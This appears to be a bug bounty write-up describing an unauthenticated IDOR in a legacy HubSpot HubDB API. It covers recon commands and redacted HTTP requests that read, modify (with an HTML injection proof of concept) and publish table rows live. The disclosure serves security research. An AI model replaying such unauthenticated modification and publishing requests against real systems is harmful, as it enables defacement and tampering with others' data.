June 7, 2026
السلام عليكم ورحمة الله وبركاته
Unauthenticated IDOR in HubSpot HubDB Legacy API — Allowed Full Data Modification & Live Publishing ($X,XXX)
Ahmed A Mohammed
3 min read
Unauthenticated IDOR in HubSpot HubDB Legacy API — Allowed Full Data Modification & Live Publishing ($X,XXX)
Hey everyone 👋
This is my first public write-up, and I'm starting with a fun one. A few months ago, I discovered a pretty serious IDOR (Insecure Direct Object Reference) in an old HubSpot API that let anyone — no login required — read, modify, and publish data on HubSpot's own marketing pages.
How I Found It
I started with standard recon on hubspot.com. First, I ran subfinder to collect a big list of subdomains.
Then I used waymore against the main domain to pull historical URLs and archived endpoints from Wayback Machine, Common Crawl, AlienVault OTX, URLScan, and VirusTotal — the kind of stuff that doesn't show up just by browsing the live site.
waymore -i hubspot.com -mode B -oU waymore_hubspot_urls.txt -oR waymore_hubspot_responses/waymore -i hubspot.com -mode B -oU waymore_hubspot_urls.txt -oR waymore_hubspot_responses/I piped Waymore's output into xnLinkFinder to extract and analyze interesting endpoints, parameters, and paths.
xnLinkFinder -i waymore_hubspot_responses/ -o hubspot_links.txtxnLinkFinder -i waymore_hubspot_responses/ -o hubspot_links.txtThat's when wtcfns.hubspot.com caught my attention, along with some legacy API endpoints that looked very different from HubSpot's modern architecture:
GET /wt-api/hubdb/get_rows?tableId=XXXXX&portalId=XXPOST /wt-api/hubdb/update_row?tableId=XXXXX&portalId=XXPUT /wt-api/hubdb/publish_table?tableId=XXXXX&portalId=XX
I immediately thought: "These parameters are completely user-controlled… where's the authentication?"
Spoiler: There wasn't any.
What is HubDB?
HubDB is HubSpot's structured data tool. Companies use it to store and display dynamic content on their websites — things like product lists, phone numbers, navigation menus, etc.
The legacy API I found was still active and completely unprotected.
Step 1: Reading Data (get_rows)
I simply sent a GET request with a tableId portalId I found in the recon output — no cookies, no tokens, nothing.
GET /wt-api/hubdb/get_rows?tableId=XXXXX&portalId=XX HTTP/2
Host: xxxxx.hubspot.comGET /wt-api/hubdb/get_rows?tableId=XXXXX&portalId=XX HTTP/2
Host: xxxxx.hubspot.com
The server happily returned all the rows in the table. So far so good — but read access alone wasn't the scary part.
Step 2: Modifying Data (update_row)
Next, I took a rowId from the previous response and tried to update it — still no auth headers.
Before sending anything, this is what the data looked like:
Then I sent this:
POST /wt-api/hubdb/update_row?tableId=XXXXX&portalId=XX&rowId=XXXXXXXXXX HTTP/2
Host: xxxxx.hubspot.com
Content-Type: application/json
{
"id": XXXXXXXXXX,
"values": {
"5": "<h1>PoC - Data Integrity Compromised</h1>"
}
}POST /wt-api/hubdb/update_row?tableId=XXXXX&portalId=XX&rowId=XXXXXXXXXX HTTP/2
Host: xxxxx.hubspot.com
Content-Type: application/json
{
"id": XXXXXXXXXX,
"values": {
"5": "<h1>PoC - Data Integrity Compromised</h1>"
}
}The server response:
Clean 200 OK. No authentication. No error. The server just accepted my changes.
Step 3: Publishing the Changes (publish_table)
Modifying a draft is one thing. But what about pushing it live?
PUT /wt-api/hubdb/publish_table?tableId=XXXXX&portalId=XX HTTP/2
Host: xxxxx.hubspot.comPUT /wt-api/hubdb/publish_table?tableId=XXXXX&portalId=XX HTTP/2
Host: xxxxx.hubspot.comBefore publishing — note the publishedAt timestamp:
After sending the request:
The timestamp has been updated. My changes were now live on HubSpot's website.
The Unexpected Logic Flaw
Here's where it got interesting. After publishing, I called get_rows again to confirm my changes — and something strange happened:
- The row I targeted stayed unchanged.
- A completely different row had my payload instead.
This meant the bug wasn't just a simple IDOR. There was a logic flaw in how the API handled row targeting. An attacker trying to modify Row A could silently corrupt Row B, with no way to predict which row gets hit.
That's not just unauthorized access. That's unpredictable data corruption at scale.
Impact
The affected table was used for public content on HubSpot's own marketing pages — things like phone numbers and navigation headers.
Without any authentication, an attacker could:
- Read all rows in the table
- Modify any row with arbitrary content, including HTML injection
- Publish the corrupted data live to HubSpot's website
- Corrupt unintended rows due to the logic flaw
Key Takeaways
- Legacy APIs are often the weakest point — even in big companies.
- subfinder + waymore + xnLinkFinder is a powerful recon combo that still finds hidden gems.
- Sometimes the simplest unauthenticated request leads to the most interesting bugs.
Tools used: subfinder, waymore, xnLinkFinder (recon) + Burp Suite Repeater (exploitation). Manual testing only.
Thanks for reading! Feel free to follow me on HackerOne: neo_pikachu
Happy hunting!
— Ahmed | neo_pikachu